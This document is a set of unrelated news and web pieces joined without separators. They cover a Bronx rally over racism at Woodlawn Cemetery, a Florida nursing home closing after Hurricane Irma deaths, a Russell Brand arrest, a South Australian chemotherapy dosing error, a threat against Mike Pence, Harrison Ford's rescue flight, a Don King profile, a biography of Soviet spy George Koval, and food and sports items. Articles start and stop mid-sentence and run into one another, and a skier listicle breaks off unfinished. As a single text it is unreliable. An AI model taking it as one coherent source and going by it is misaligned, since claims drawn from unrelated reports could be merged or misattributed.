Ramon Jimenez, another leader of the South Bronx Community Congress and Freedom Party candidate for New York State attorney general, said cemetery management’s racial discrimination is blatantly illegal and was the target of an in-depth investigation earlier this year. He praised the Band of Brothers for persisting in their fight and for finding ways to win the support of the entire cemetery workforce against management as well as against the corrupt company union that makes it possible for the abuses to continue.
Dee Knight, coordinator of the Labor-Community Forum of the South Bronx Community Congress, congratulated those white workers at Woodlawn Cemetery who supported the struggle against the racism of the Woodlawn management, calling it “a strategic breakthrough” that they joined their multinational brothers to vote for Teamsters Local 808. “For the longest time the bosses have tried to make you think you were just like them and you should think like them, and put down workers of color and side with the boss,” he said. “Now you’re seeing the light and refusing to be divided. Now you’ll get serious and honest union leadership, and the boss will have to learn some real respect.”
The Band of Brothers “have found the magic formula for defeating racist abuse on the job,” Knight said. “It’s really simple: Stand up, speak out and reach out. Don’t be afraid and don’t back down. Know you have community support and go for it. Look for good, strong, honest union representation. Go back to the other workers and explain again and again.”
Other speakers included Ed Figueroa of Service Employees Local 32BJ, who brought an impressive delegation to the rally. Gavrielle Gemma of the Bail Out the People Movement underscored the need for a union contract forbidding racist discrimination on the job. She denounced the fact that management has continuously moved to outsource jobs at the cemetery, reducing the regular full-time workforce from more than 100 employees a year ago to 38 today.
Protesters marched from the cemetery gates at East 233rd Street and Webster Avenue up the hill to the subway station at 233rd Street and White Plains Road, and then returned to the cemetery gates for a concluding rally. Gemma led participants in a pledge to continue the struggle until the racist practices at the cemetery are brought to an end.Story highlights A dozen deaths were reported after Irma left nursing home without air conditioning
The Rehabilitation Center at Hollywood Hills closed on September 20
(CNN) A Florida nursing home where a dozen patients died after Hurricane Irma knocked out power has closed and laid off its 245 employees, according to a notice to state officials.
The patients, between the ages of 57 and 99, died last month after The Rehabilitation Center at Hollywood Hills failed to evacuate them from the sweltering facility in the days after the storm, state officials said.
The nursing home informed state officials in a letter dated September 27 that the facility had closed seven days earlier and its employees were out of jobs.
JUST WATCHED Man's plea to family before Irma: Hurry up Replay More Videos... MUST WATCH Man's plea to family before Irma: Hurry up 02:07
"A 60-day notice could not be provided due to unforeseen business circumstances that occurred after the impact of hurricane Irma," the letter said.
The 245 workers included occupational, speech and physical therapists, nurses and dietary aids, according to the letter.
Read MoreBrand was released from jail shortly afterward the arrest, after paying a $5,000 bail bond, police spokesman Frank Robertson said.
Police issued the warrant earlier on Thursday for Brand, who is in New Orleans to film an untitled movie.
Celebrity website TMZ said the charges stem from a confrontation with a photographer who was trying to take Brand's photo from a car. A police spokeswoman could not immediately release any details.
In a Twitter posting on Wednesday, Brand wrote, "Since Steve Jobs died I cannot bear to see anyone use an iPhone irreverently, what I did was a tribute to his memory."
Police issued the warrant earlier on Thursday for Brand, who is in New Orleans to film an untitled movie.
Neither Brand nor his publicist could immediately be reached for comment.
Brand's film credits include "Forgetting Sarah Marshall" and "Get Him to the Greek." A judge recently granted him a divorce from singer Katy Perry.
Mandate Pictures, which is producing the untitled comedy in New Orleans, said it is being directed by "Young Adult" and "Juno" writer Diablo Cody.
The film also stars two-time "Dancing With the Stars" champ Julianne Hough, Octavia Spencer, who recently won the Best Supporting Actress Oscar for her role in the movie "The Help," as well as Nick Offerman and Holly Hunter.
Source: agenciesSA Health chemotherapy bungle victim Bronte Higham dies aged 67
Updated
Another victim of SA Health's chemotherapy bungle in which cancer patients were under-dosed with the necessary drug has died.
Bronte Higham, 67, died early on Sunday morning at Daw House Hospice in Adelaide after relapsing with leukaemia earlier this year.
Mr Higham was one of 10 leukaemia patients who were incorrectly given one instead of two daily doses of a chemotherapy drug over a six-month period.
Five of the patients were at the Royal Adelaide Hospital and the other five at Flinders Medical Centre.
Mr Higham bravely fronted a parliamentary inquiry in May, describing himself as a "dead man walking".
"I don't know when I'm going to fall off the perch," he said at the time.
"I just don't want my family to have to go for years asking for compensation.
"The victims and the families deserve compensation for this because it's been one big stuff-up."
The emotional appeal forced the State Government to offer $100,000 compensation payments to those affected.
Fellow patient Andrew Knox expressed "extreme" and "overwhelming sadness" at the news of Mr Higham's death.
"Bronte was never given his best chance of survival," Mr Knox said.
"That sadness is tainted with anger from the fact that for the first 14 months after the error in his treatment, Bronte and his family were denied the support they both deserved and were sorely entitled to.
"It is only weeks since Bronte, despite having relapsed in April, so bravely fronted the parliamentary select committee with wife Ricki, son Kym and daughter Jodie, forcing the Premier to intervene."
At least two other affected patients are known to have since died.
Topics: cancer, leukaemia, health-policy, states-and-territories, sa, adelaide-5000
First postedA Somerset County man has pleaded guilty to uttering a threat to kill Vice President Mike Pence on Sept. 8 in Johnstown, three days before the vice president’s planned arrival in the city.
William R. Dunbar, 23, of Berlin admitted to making the threat against Pence while Dunbar was on military duty in Johnstown. Three witnesses heard Dunbar state he would kill the vice president, Acting United States Attorney Soo C. Song said Tuesday.
Dunbar entered his plea before U.S. District Judge Kim R. Gibson in Pittsburgh. Sentencing is set for April 12.
Dunbar faces a maximum penalty of five years in prison, a fine of $250,000 or both.
Pence was in the area Sept. 11 to deliver a speech at the Flight 93 memorial in Shanksville, Somerset County.
Jeff Himler is a Tribune-Review staff writer. Reach him at 724-836-6622, jhimler@tribweb.com or via Twitter @jhimler_news.
Jeff Himler is a Tribune-Review staff reporter. You can contact Jeff by email at jhimler@tribweb.com or via Twitter.Indiana Jones did it again.
For the second time in a year, actor Harrison Ford guided his helicopter into the backcountry for a rescue, this time for a missing Boy Scout in a forest just south of Yellowstone National Park.
Ford, a part-time Jackson resident who offers his flying acumen and helicopter for rescue missions, joined a search for a missing Utah Boy Scout who had wandered off a trail Monday and spent a night shivering as rain pelted the area, said the Teton County Sheriff's Office in Wyoming.
After two hours of flying, Ford and another searcher spotted 13-year-old Cody Clawson, clad in a T-shirt, shorts and sandals, about 10 miles from a Boy Scout camp at 8:30 a.m. Tuesday. He landed nearby to whisk the soggy, cold, tired and hungry scout to safety.
"Boy, you sure must have earned a merit badge for this one," Ford said.
"I already earned this badge last summer," Clawson replied.
Clawson survived the rainy night by taking cover under a rock outcropping. He planned to resume the scout trip, which is scheduled to end Saturday, said his mother, Peggy Clawson.
"Cody said the kids asked if he got an autograph and he said, 'No, but I got a hug and a handshake, and that's better than an autograph,'" she said.
Last July, Ford plucked an Idaho Falls, Idaho, hiker off 11,106-foot Table Mountain in Teton County. Megan Freeman climbed the mountain, but altitude sickness and dehydration left her sick and unable to climb down. Ford picked her up and flew her to a Driggs, Idaho, hospital.
Clawson was separated from the rest of Troop 241 from Huntsville, Utah, while carrying supplies from a vehicle to a campsite in Loll Boy Scout Camp, which is located in Targhee National Forest about a mile south of the Yellowstone National Park boundary and about 40 miles north of Jackson.
He was reported missing around 2 p.m., Monday, and searchers looked for four hours before calling authorities in Fremont County in Idaho and Teton County in Wyoming.
They resumed the search at 6 a.m., Tuesday, including a Wyoming Air Patrol plane and Ford's helicopter.
Ford, one of Hollywood's most-bankable stars, played Indiana Jones in the series of movies that began with "Raiders Of The Lost Ark," Han Solo in the first three "Star Wars" movies, and Jack Ryan in several films based on Tom Clancy novels.
He will celebrate his 59th birthday on Friday. He has an 800-acre ranch in Jackson Hole, Wyoming.
©MMI CBS Worldwide Inc. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. The Associated Press contributed to this reportTommy Caprelian is a good dude, about as humble as they come, and he makes a pretty damn good beer to boot. Brewing on a small scale for just over a year, last weekend marked one of his greatest accomplishments as a brewer: the grand opening of the House of Pendragon Brewing Co. Taproom.
After over a year of planning that included a very successful Kickstarter campaign, Tommy’s dream, as well as the dreams of many of his closest friends, came to fruition. House of Pendragon was finally serving their own beer from their own taps in their own place to their own customers. As soon as the doors opened at noon on Saturday, April 12, people packed the taproom. It was a beautiful sight!
As a friend of Tommy’s and huge supporter of HoP, I was fortunate enough to have been able to help serve beer the entire day, a rewarding experience for various reasons.
Throughout the day, it was obvious Tommy and his wonderful wife, Nora, were shocked by the response to their opening. People were driving to their taproom in Clovis from places as far away as Sacramento and Stockton, a true testament to the quality of the product they make. Thankfully, they had a crew of somewhat capable friends taking care of the nitty-gritty, hopefully assuaging at least some of the stress this day might bring.
The beer offerings were incredible, so many unique styles to choose from!
Needless to say, there are many thrilled beer drinkers in the Central Valley these days, most of us just waiting until Thursday to grab a pint of some of the best beer in California… right in our backyard.
To anyone living in or visiting the Fresno/Clovis area, don’t miss the opportunity to try some truly great beer. The taproom is currently open Thursday – Sunday and located at:
1345 N. Willow Ave
Clovis, CA 93619
My wife enjoys photography as a hobby, here are some great photos she took of the grand opening:
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Like this: Like Loading...We’ve all seen them. You know the guy, the one that just screams SKIER, and not necessarily in a good way. You can’t always pinpoint the stereotypical skier, but when you do, it hurts to watch them. We’ve narrowed it down to the 10 most common stereotypical skiers that you are bound to see out on the slopes.
Most Common Stereotypical Skiers:
The “new tech is just a fad” guy: This is one for you old school guys out there, we all know one. He’s way smarter than the rest of the ski industry and knew without a doubt that the “parabolic” skis obviously wouldn’t last, and he held out to buy his first pair of shaped skis until 2013. Don’t even get this stereotypical skier started on this new fangled waste of tech called rocker. Why on earth would anyone ever want that technology under their foot? BRING BACK THE K2 EXTREMES!
The “I’ve skied out west and now riding in the Midwest seems pointless” guy: We all know this guy, he has |
isn’t that predictable too? For decades King was a driving force behind Muhammad Ali and George Foreman. He was the electric-haired, dynamite-voiced impresario introducing Larry Holmes and Mike Tyson. He gave boxing the Rumble in the Jungle and the Thrilla in Manila, spearheaded a heavyweight reunification series in the 1980s and milked every dollar out of a Tyson-worshipping public in the ’90s. No one understood the value of heavyweights like King; not coincidentally, no one made more money off them—in 2006, Forbes estimated that he’d taken in $1 billion off more than 600 bouts over 33 years and his personal worth was $350 million.
• Where Are They Now: From Favre to Harris, all our throwback coverage
The A-side of this fight is Deontay Wilder, the WBC champ, a muscular 6' 7" puncher with a pulverizing right hand from Tuscaloosa, Ala. In another era, another life, Wilder would have been a King fighter. What King could have done with an Olympic bronze medalist, what stories he could have spun with a fighter who once drove Budweiser trucks, who took up boxing only to help pay his sick daughter’s medical bills. Only in America! King would bellow, and a roomful of reporters would nod in agreement. Wilder isn’t with King, though. Never considered it. He signed with Golden Boy Promotions, headed by Oscar De La Hoya, after the 2008 Olympics, then six years later switched to Al Haymon, the little-seen manager who has more than 150 fighters in his stable. King? He’s in Birmingham representing Eric Molina, a 33-year-old journeyman who’s expected to serve as a welcome mat for Wilder’s homecoming.
Outside City Hall, a modest crowd mills around metal barriers, many of whom noticed the set for the impending weigh‑in—the stage, the cameras and the police blockade—and simply wondered what the fuss was about. Molina and Wilder appear and generate a tepid reaction; in boxing’s splintered state, even a heavyweight champion is anonymous. Not King. The moment he emerges from the building, cellphones are ripped from pockets and aimed in his direction. Arms jerk into the air, and the thin layer of onlookers presses forward, searching for the best angle to photograph a boxing icon. Approaching the dais, King climbs the steps slowly. One step. Pause. Don, over here! One step. Pause. Don, look this way! King is 83, and though time has not dulled his mind, it has weakened his body. A nasty fall last October put him in the hospital with a head injury, and though King swears a battery of tests came up with nothing, he is more careful. He’s eating better and has stopped smoking cigars. He will sniff them, lick them and chew them beyond recognition, but he won’t light them up.
On stage Wilder and Molina stand nose-to-nose, a traditional prematch promotional photo op that can yield tasty B-roll if the fighters are feisty. King stands between them, that familiar Cheshire cat grin creasing his face. When the fighters separate, King doesn’t move. Center stage, he randomly pulls out one of the 17 flags he’s carrying and raises it. The American flag. Then the Puerto Rican flag. Then the flag to honor America’s POWs. He smiles. He waves. He pivots toward many of the voices calling for him. Members of both fighters’ entourages approach; they want pictures with King too. For a few minutes he stands in the oppressive heat like a wax figurine, a living relic whose image onlookers eagerly try to capture for posterity.
King’s part in this promotion is nominal. His name doesn’t appear on the banner behind the fighters. Showtime’s Jimmy Lennon Jr., emceeing the weigh-in, doesn’t announce King as a copromoter. Financial terms were negotiated by Haymon. Logistics for the event were handled by event promoter Lou DiBella. It’s been three years since King was the sole promoter on an HBO or Showtime bout, and network executives say they have no current plans to return him to that role, either. In the twilight of a decorated career the most visible promoter in boxing history has become an afterthought.
*****
Don King Productions exists in an unmarked building in Deerfield Beach, Fla., nestled onto a leafy plot of land that abuts I-95. King’s company was founded in New York City in the 1970s before relocating to South Florida in the late ’80s. Two stone lions flank the walkway to the entrance. A faded gold placard etched with circle travel—King’s travel company—is the only identifier, near the door. A marble monument memorializing King’s wife of 50 years, Henrietta, who died in 2010, rests on a patch of dirt nearby.
Once, King’s office bustled with activity. He employed roughly 50 people in his heyday; today, the number of full-time staffers has dwindled to around 10. Many have been with King for decades. Dana Jamison, the company’s vice president of operations, has worked for King for 29 years; Celia Tuckman, an executive vice president, has been with him for 37. King’s past is polluted by shady business deals. In 1980 Ali sued him after King shortchanged the champ of $1.2 million of an $8 million purse, but Ali dropped the case after King sent him $50,000. In 2004 King paid Tyson $14 million as part of a settlement of a lawsuit in which Tyson accused King of stealing $100 million from him. But around the office there are tales only of King’s benevolence. Al Bonnani, a semiretired trainer who has worked closely with King, recalled one Christmas in the late 1990s. Bonnani’s wife was sick, and he was struggling to pay the medical bills. King called Bonnani to his office and handed him an envelope with $25,000 in it.
King’s personal office takes up two rooms on the second floor. It’s less a workspace than a shrine to his career, displaying everything from a handwritten letter from George Foreman demanding King promote his next fight after the Rumble in the Jungle to a sprawling collection of swords. Nearly every foot of wall space displays a picture or newspaper story acknowledging a King accomplishment. There’s a signed photograph with Jimmy Carter. A framed letter from the New York City fire department thanking King for a $1 million donation after 9/11. A picture of King aboard a military helicopter in the Middle East. “I ain’t no Brian Williams,” says King. “You see me in that helicopter.” In an adjacent conference room he puts on a 34-minute video that is little more than a montage of fighters, network executives and heads of state lauding King.
Most of the memorabilia is old. Decades old. King now represents just a handful of fighters; only one, super lightweight Amir Imam, is a serious prospect. In the 1980s and ’90s, King battled Bob Arum to sign the world’s elite. Today, Arum’s Top Rank is still one of the most powerful promotional companies; King’s is on the brink of extinction.
Where others have evolved, King has not. He isn’t active on social media; he can’t stream untelevised fights on his website because he doesn’t have one. Unlike Arum, King has no heir apparent because he remains a one-man show. “Don trusts very few people,” says Seth Abraham, former president of HBO Sports. “Over the course of his life as a boxing promoter, you can count on one hand the number of people that Don really trusts intimately, completely and totally. As a result, the organization is him. In effect, there [is] no organization.”
Of all the conflicts King had with fighters, the one with Tyson was the most destructive. It was a nasty dispute that caused potential clients to wonder, If this could happen to Mike, it might happen to me. King admits it. “Did it hurt, yeah,” says King. “He’s poor, and he’s telling lies. Give me $400 million and say you robbed me. I loved Tyson. We made a lot of money together. He threw his away. I kept mine.”
In recent years, too, fighters have viewed King as being more about his own interests. Take Steve Cunningham, a two-time cruiserweight champion. Starting in 2002, Cunningham fought for eight years under King’s banner. A former Navy serviceman, Cunningham signed believing King would exploit his military background. What he got was indifference. “A guy like DK, as soon as you come into his office, he places a price tag on you,” says Cunningham. “He decides, This is what I’m going to spend on this dude. People say he is the greatest promoter in boxing. I beg to differ. He could have been with his star power, but he promoted himself more than any fighter. With his power, he could have made any fighter a star.”
When King speaks, his words—spit out as if they’re branches passing through a wood chipper, piling up into long, rambling paragraphs littered with irrelevant historical digressions—seem to confirm his impulse toward self-aggrandizement. Ask King what he wants out of the rest of his career, and he declares a desire to be a leader on racial issues and women’s rights. He talks about writing a book and the interest he has received in a biopic. He expresses an interest in bringing bouts to Egypt and other areas of the Middle East. He doesn’t bring up any fighter. He doesn’t reference any future matches. He admits he would like to be back atop the promoting field, but says he isn’t haunted by his descent.
Others demur. “I think it kills him,” says Abraham. “I think he’s trying to figure out how to get back in. It’s more than wistful. It’s like half of his blood supply has been drained out of him because he’s not the dominant promoter.”
*****
It’s two hours before the fight when King saunters into Molina’s dressing room. Immediately, the dozen or so people in it burst into applause. Again, it’s the Don King show, complete with photo ops and non sequiturs. “And the new...!” King bellows. More applause. A referee comes in to take a picture with King. Molina, still dressing, pauses to get one too. Sensing the moment, King slips into character.
“They counted us out, we counted us in!”
“We going to celebrate tonight with the whole nation of Iran!”
“They ain’t going to give it to you, you have got to take it!”
The shame of King’s decline is that he still has much to offer. “He is indefatigable,” says Abraham. “He loves the action. He loves the adrenaline that comes from promoting.” As boxing has been pushed toward the fringes, King remains one of the sport’s most recognizable faces, the rare figure mainstream outlets still pay attention to. “The public’s fascination with Don has not decreased at all,” says Stephen Espinoza, executive vice president of Showtime Sports. “He’s a unique personality. His busiest years are certainly behind him, but his residual celebrity value still exists.”
King’s core promoting principles are missed. Boxing events have grown top-heavy, with undercards that do little to support the main event. King’s shows were usually deep and well-balanced, which enhanced the fans’ experience. Today, they are exposed to far too many one-sided bouts slapped together by promoters fearful of leading a fighter into a loss. To King, matches needed to be meaningful. “You fight with Don, he is going to see if your teeth are sharp enough,” says Cunningham. “Every guy I fought for Don King got me closer to a world title.”
A King comeback seems unlikely. Molina lost, dropped four times en route to a ninth-round knockout at Bartow Arena. Later, at a press conference, King praised Molina’s courage, gratuitously gushing over a largely ineffective night. He also lauded Wilder for bringing a fight to Alabama, a state with a history of racism that King had referenced often during the week. “Birmingham is back,” says King, “ain’t no stopping her now.”
Minutes later, as the crowd dispersed and Wilder continued to celebrate with his team, the man who enjoyed so many golden moments in boxing slipped out a back door.Despite promising to help the Stormers with their pre-season preparations, it appears departing coach Eddie Jones has no intention of returning to Cape Town.
Former Japan mentor Jones was unveiled as England's new Head Coach last Friday, just a week after making his first appearance in Stormers colours.
When Western Province Director of Rugby Gert Smal announced Jones' departure he added that the Australian had made a commitment to assisting the Stormers prepare for the 2016 Super Rugby season while they hunted a replacement coach.
"Eddie will come in during early December, and we'll do some planning with him during that time," Smal told the local press.
"Eddie wanted to come back in, he feels bad about what happened, and wants to see that we go forward properly."
However, when Jones spoke to the English media in London about his preparations for the Six Nations, he made it clear he had no plans to return to Newlands.
"I'm not going back to South Africa," Jones told reporters.
"I've agreed to do something for World Rugby in Los Angeles next week. When that is finished, I'll be going back to Tokyo to greet my wife and advise her to pack her rain jacket. I'll be back in England on December 1, ready to start."
Whoever is chosen to replace Jones will have to bring the same attacking philosophy to the game. Smal insists any candidate will have to have six years experience as a Super Rugby coach, leaving the options limited.
"A lot is in place here at WP already," added Smal.
"We want to play a certain style and we won't change that."
Jones is reported to have drafted a training blueprint from which the Stormers are set base their preparations.
"I don’t believe it will be a tough sell because the style and type of game we want to play is in line with approaches that are taking hold in world rugby at the moment," added Smal.
"A new coach, and the type of coach we’re looking for, will be able to adapt easily."George Abramovich Koval (Russian: Жорж (Георгий) Абра́мович Кова́ль, IPA: [ˈʐorʐ (ɡʲɪˈorɡʲɪj) ɐˈbraməvʲɪtɕ kɐˈvalʲ] (), Zhorzh Abramovich Koval, December 25, 1913 – January 31, 2006) was an American who acted as a Soviet intelligence officer for the Soviet atomic bomb project. According to Russian sources, Koval's infiltration of the Manhattan Project as a GRU (Soviet military intelligence) agent "drastically reduced the amount of time it took for Russia to develop nuclear weapons."[1][2][3][4][5]
Koval was born to Russian Jewish immigrants in Sioux City, Iowa. As an adult, he traveled with his parents to the Soviet Union to settle in the Jewish Autonomous Region near the Chinese border. Koval was recruited by the Soviet GRU (military intelligence), trained, and assigned the code name DELMAR. He returned to the United States in 1940 and was drafted into the U.S. Army in early 1943. Koval worked at atomic research laboratories and, according to the Russian government, relayed back to the Soviet Union information about the production processes and volumes of the polonium, plutonium, and uranium used in American atomic weaponry, and descriptions of the weapon production sites. In 1948, Koval left on a European vacation but never returned to the United States. In 2007 Russian President Vladimir Putin posthumously awarded Koval the Hero of the Russian Federation decoration for "his courage and heroism while carrying out special missions".[6]
Early life [ edit ]
George Koval's father, Abram Koval, left his home town of Telekhany in Belarus to immigrate to the United States in 1910. Abram, a carpenter, settled in Sioux City, Iowa, which, at the turn of the 20th century, was home to a sizeable Jewish population of merchants and craftsmen. He and his wife Ethel Shenitsky Koval raised three sons: Isaya, born 1912; George (or Zhorzh), born Christmas 1913; and Gabriel, born 1919.[7]
George Koval attended Central High School, a red-brick Victorian building better known as "the Castle on the Hill". Neighbors recalled that Koval spoke openly of his Communist beliefs. While attending Central High he was a member of the Honor Society and the debate team. He graduated in 1929 at the age of 15. Meanwhile, his parents left Sioux City as the Great Depression deepened. Abram Koval became the secretary for ICOR, the Organization for Jewish Colonization in the Soviet Union.[7] Founded by American Jewish Communists in 1924, the group helped to finance and publicize the development of the "Jewish Autonomous Region" – the Communist answer to Jewish emigration to the British Mandate of Palestine then being undertaken by the Zionist movement.[8] The Koval family emigrated in 1932, traveling with a United States family passport.[7] They settled in Birobidzhan, near the border of Manchuria.[9]
The Koval family worked on a collective farm and were profiled by an American Communist daily newspaper in New York City. The journalist Paul Novick wrote to his readers that the family "had exchanged the uncertainty of life as small storekeepers... for a worry-free existence for themselves and their children."[9] While Isaya became a champion tractor driver, George Koval improved his Russian language skills in the collective and began studies at the Mendeleev Institute of Chemical Technology in 1934. At the university, he met and married fellow student Lyudmila Ivanova. Koval graduated with honors in five years and received Soviet citizenship.[9]
Recruitment and espionage [ edit ]
Later, Koval was recruited by the Soviet Main Intelligence Directorate (Главное Разведывательное Управление), or GRU. By the time he received his degree he had left Moscow under orders as part of a subterfuge. He was drafted into the Soviet army in 1939 to explain his sudden disappearance from the city. Though his parents had relinquished their US family passport, Koval returned to the US in 1940,[9] replacing a spy recalled during Stalin's purges.[10] His code name was DELMAR.[11] Arriving in San Francisco, he traveled to New York City. According to Arnold Kramish, an American colleague he befriended and with whom he re-established contact in 2000, it was there that Koval assumed deputy command of the local GRU cell. This outpost operated under the cover of the Raven Electric Company, a supplier to firms such as General Electric. Koval told coworkers he was a native New Yorker and an only child. He ingratiated himself with everyone he met.[9] While Koval originally worked under a pseudonym, gathering information on toxins for use in chemical weapons, his handlers decided to have him work under his real name.[12]
During the beginning of World War II, President Franklin D. Roosevelt had re-introduced the draft (conscription) in September 1940, and Koval registered for it on January 2, 1941. Raven Electric Company secured him a year's deferment from service until February 1942. According to historian Vladimir Lota, Koval's handlers wanted him to steal information about chemical weapons, and felt that he would not be able to do so while drafted. When the deferment expired, Koval was inducted into the United States Army. He received basic training at Fort Dix in New Jersey before being sent to the Citadel in Charleston, South Carolina. There, Koval served as a private in the 3410th Specialized Training and Reassignment Unit. On August 11, 1943, he was transferred to the Army Specialized Training Program, a unit established in December 1942 to provide talented enlistees with an education and technical training.[9] Koval attended the City College of New York (CCNY) and studied electrical engineering. His CCNY classmates looked up to the older Koval as a role model and father figure who never did homework and was a noted ladies' man, never knowing about his Soviet education and wife.[13] Colleagues recalled that he never discussed politics or the Soviet Union.[12]
Atomic secrets [ edit ]
Oak Ridge workers operating calutrons. Koval's job as a health officer meant he had his own car and access to many sensitive areas of the facility.
The Specialized Training Program was dissolved in early 1944, as the progress of the war tipped in favor of the Allies; many of the CCNY classmates were transferred to the infantry, while Koval and a dozen others were selected for the Special Engineer Detachment. The Detachment was part of the covert project to design, engineer, and fabricate an atomic bomb—an American, Canadian and British initiative known as the Manhattan Project. Koval was assigned to Oak Ridge, Tennessee; at the time, Project scientists were researching enriched uranium and plutonium-based bombs, with the Oak Ridge laboratories central to the development of both.[13] The Project suffered from a lack of human resources, and asked the Army for technically qualified men.[12]
Koval enjoyed free access to much of Oak Ridge;[12] he was made a "health physics officer", and monitored radiation levels across the facility. According to Federal Bureau of Investigation records, the job gave him top-secret security clearance. At the time, Project scientists discovered reactor-produced plutonium was too unstable for the intended bomb designs, and that polonium initiators (urchin) were needed for the necessary chain reactions to occur.[13] Koval was charged by his handlers with watching Oak Ridge's polonium supply to transmit information about it through a Soviet contact named "Clyde". His information reached Moscow via coded dispatches, couriers, and the Soviet Embassy. Among the intelligence he sent was that Oak Ridge's polonium was being sent to another Project site at Los Alamos National Laboratory.[14]
Koval was transferred from Oak Ridge to a top-secret lab in Dayton, Ohio on June 27, 1945, where polonium initiators were fabricated. The world's first atomic bomb was detonated in New Mexico on July 16 of that year. Atomic bombs were dropped on Japan on August 6 and 9, leading to Japan's surrender and the end of World War II. The Soviet Union responded by increasing efforts to develop its own atomic bomb. While the American Central Intelligence Agency estimated the Soviets would not succeed until 1950–53, the first Soviet atomic bomb was detonated on August 29, 1949.[14] The initiator for the plutonium bomb was, according to Russian military officials, "prepared to the'recipe' provided by military intelligence agent Delmar [Koval]".[14]
Later years [ edit ]
After World War II, Koval was discharged from the Army. He returned to New York and CCNY, where he received his bachelor's degree in electrical engineering on February 1, 1948. Telling his friends he was thinking about taking a trip to Poland or Israel, Koval secured a passport for six months' travel to Europe. According to the Russian publication Rossiyskaya Gazeta, he might have left because American counter-intelligence agents had discovered Soviet literature about his parents[12] after being tipped off about the leak by a Soviet defector.[10] He left by sea in October 1948 and never returned to his birth country.[15] In Russia, he left the Soviet military with discharge papers as an untrained rifleman and the rank of private. His foreign background and service record made him "a very suspicious character", he wrote to Kramish. Turned down for education and research positions, Koval turned to his old GRU contact, who secured him a job as a laboratory assistant at the Mendeleev Institute. Eventually, Koval managed to obtain a teaching job there; his students often laughed at his foreign pronunciations for technical terms.[16]
While other spies such as Julius and Ethel Rosenberg and Klaus Fuchs were caught after the war, Koval apparently went unscrutinized for years. Among the reasons given for his maintained cover was that inter-service politics undermined efforts to perform proper security checks on employees. Another possibility is that the U.S. government chose scientific ability over clear records and political sympathies.[15] In the 1950s, the FBI investigated his wartime activities and interviewed his former colleagues, leaving them with the impression that he might have been a spy.[16] The matter was kept confidential for sixty years[10] as the US was afraid of the damage that would result from the exposure of Koval's activities.[17]
In 1999, Koval was living on his small pension in Russia and had heard that U.S. War Veterans like himself could apply for U.S. Social Security Payments. He applied. In 2000, the Social Security Administration's Office of Central Operations, Baltimore, Maryland responded with a one-sentence letter: "We are writing to tell you that you do not qualify for retirement benefits."[11]
Koval described his 57 years of post-spy life living in Russia as "uneventful". His family knew he had done work for the GRU, but the subject was never discussed. He did not receive any high awards upon his return, a fact that bothered him. Bigger awards went to "career men", he told Kramish. However, he ended his correspondence by saying that he was not protesting his treatment; "[I am thankful] that I did not find myself in a Gulag, as might well have happened".[16] Koval died in his Moscow apartment on January 31, 2006, at the age of 92.[12]
Koval's activities as a spy began to emerge after the publication of a 2002 book, The GRU and the Atomic Bomb, which mentioned Koval by his code name and listed him as one of a handful of spies who evaded counterintelligence groups.[12] On November 3, 2007, he received the posthumous title of Hero of the Russian Federation bestowed by Russian President Vladimir Putin. When Koval was honored, the Russian presidential proclamation stated, "Mr Koval, who operated under the pseudonym Delmar, provided information that helped speed up considerably the time it took for the Soviet Union to develop an atomic bomb of its own".[6]
Notes [ edit ]By DAN KARELL
Next year’s Major League Soccer All-Star Game is looking likely to have more of a German flavor.
Bayern Munich Chairman Karl-Heinz Rummenigge confirmed to German publication SportBild that Bayern Munich would be heading across the Atlantic Ocean next summer to face the MLS All-Stars, becoming the first German team in the annual exhibition match. The 2014 MLS All-Star Game is set to take place at Jeld-Wen Field in Portland, Ore.
MLS has not yet publicly commented on next year’s All-Star game opponent.
“We were the first German club (to receive) an invitation to the MLS All-Star Game. We have accepted the invitation, “Rummenigge told SportBild. “We are discussing plans to go for a week in the U.S. and to play two matches. The DFL (German Football League) has great interest that we travel to the U.S.”
The defending UEFA Champions League, Bundesliga, and German Cup champions have made no secret to their desire to enter the global market, hiring Jörg Wacker to lead their international ventures in the United States and China. Bayern are expected to open offices in New York and China in the coming months.
One of the reason’s cited for Bayern’s interest in growing their presence in North America was the massive deal signed by 21st Century Fox that is bringing the Bundesliga television rights to Fox on a five-year deal, beginning in 2015.
Nothing yet has been announced from MLS in terms of the time and date of the 2014 All-Star Game. Bayern have reportedly asked for the game to be pushed back by a week or so in order for them to be able to bring their full squad to America, which will likely include many players participating at next summer’s World Cup. This year the All-Star Game was played against AS Roma on July 31. AS Roma won, 3-1.
——–
What do you think of these developments? Excited to see Bayern Munich face the MLS All-Stars? Would you have more interest in watching the All-Star Game if Bayern were the opponent?
Share your thoughts below.Cooking With Conifers: An Evergreen Trick That's Newly Hip
toggle caption Julia Gillard
If you still have your Christmas tree up in your living room because you just can't bear the thought of throwing out all that fine pine scent, then you may be an evergreen addict. If you still have it up because you're too lazy to take off the ornaments, then you may be a hoarder, but that's another post.
Fear not, conifer connoisseurs. You don't have to wait for the holidays to surround yourself with spruce. American chefs from coast to coast are using evergreens to develop unique flavors in dishes, from white fir and sorrel broth to pine needle vinegar to smoked mussels.
As we told you last year, using spruce shoots in beverages is newly hip, yet centuries old. The practice has been around since the ancient Scandinavians first surveyed their vast forests, looking for something to ferment into alcohol. And 18th century English sailors were practically required to drink spruce beer in an effort to prevent scurvy. It didn't really work, but they enjoyed drinking it anyway.
The smell of burning pine needles evokes such nostalgia for Prune chef Gabrielle Hamilton of New York City that she recently wrote a piece in Saveur magazine about a childhood dish of smoked mussels that developed as cousins spent the afternoon hunting for dry pine needles on a French forest floor. She reminisced:
"There is a riveting and quick explosive roar of fire as you set match to the dry pine needles now scattered over those mussels, which have been neatly and tightly packed together between two large nails at either end of the wet plank, so tightly set in, with their hinges up, not down, that even when boiling inside in their own liquor, they can't open and lose their juices because they have been arranged just so. And it ends, perfectly, with you and your friends and family, in the chalky blue air of sunset, brushing away the pine ashes, and pulling out the smoky, juicy mussels and sucking them right from the shells, your sooty hands gripping a cool glass of white burgundy from, ideally, just a few villages away in the winier parts of the Languedoc."
For CJ Jacobson, executive chef of Girasol in Los Angeles, the evergreens-as-food trend is an extension of his personal efforts to get out and hike more, and his professional efforts to incorporate local plants and products into his dishes. He seeks out not only the plants that are grown in the state, thanks to all the water being piped in, but the ones that have always been native.
"California's great. We've got the farmers markets. But it's not just giant heirloom tomatoes... there's got to be more of a terroir here," he tells The Salt.
Enlarge this image toggle caption CJ Jacobson/Girasol CJ Jacobson/Girasol
Jacobson became smitten with evergreens specifically after he did a training stint at noma, the Copenhagen restaurant famous for turning foraged food into high art.
"They use pine in a lot of different capacities. They use it like any other herb," he says.
